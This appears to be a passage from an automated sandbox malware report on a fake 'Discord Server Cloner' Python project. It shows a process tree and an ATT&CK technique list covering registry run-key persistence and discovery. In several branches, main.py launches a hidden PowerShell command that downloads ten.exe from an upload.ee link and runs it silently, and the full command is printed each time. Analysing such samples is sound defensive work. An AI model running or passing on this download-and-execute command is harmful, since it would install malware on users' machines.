      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=FB9C0FB8E0E28610FFE59CF13BDD59A1 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:404
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=AE7162AECC880AC300E61441CB6C481C --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=AE7162AECC880AC300E61441CB6C481C --renderer-client-id=2 --mojo-platform-channel-handle=1792 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:2748

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
1⤵
- Executes dropped EXE
PID:1256
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\serverclone.py"
  2⤵
  - Executes dropped EXE
  PID:1644

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
1⤵
- Executes dropped EXE
PID:872
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\main.py"
  2⤵
  - Executes dropped EXE
  PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:1952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4092

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Discord-Server-Cloner-main\start.bat" "
1⤵
PID:4436
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:4556
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    PID:3616
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2936
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  python main.py
  2⤵
  - Executes dropped EXE
  PID:1512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:1400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:748

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Desktop\Discord-Server-Cloner-main\start.bat"
1⤵
PID:1392
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe
  pip install -r requirements.txt
  2⤵
  - Executes dropped EXE
  PID:3532
- - C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python312\Scripts\pip.exe" install -r requirements.txt
    3⤵
    - Executes dropped EXE
    PID:2052
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3428
- C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
  python main.py
  2⤵
  - Executes dropped EXE
  PID:792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
    3⤵
    PID:1864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri https://www.upload.ee/download/16183265/b615924f4d451e30ef07/ten.exe -OutFile ([System.IO.Path]::GetTempPath() + ten.exe)); Start-Process -FilePath ([System.IO.Path]::GetTempPath() + ten.exe) -WindowStyle Hidden"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery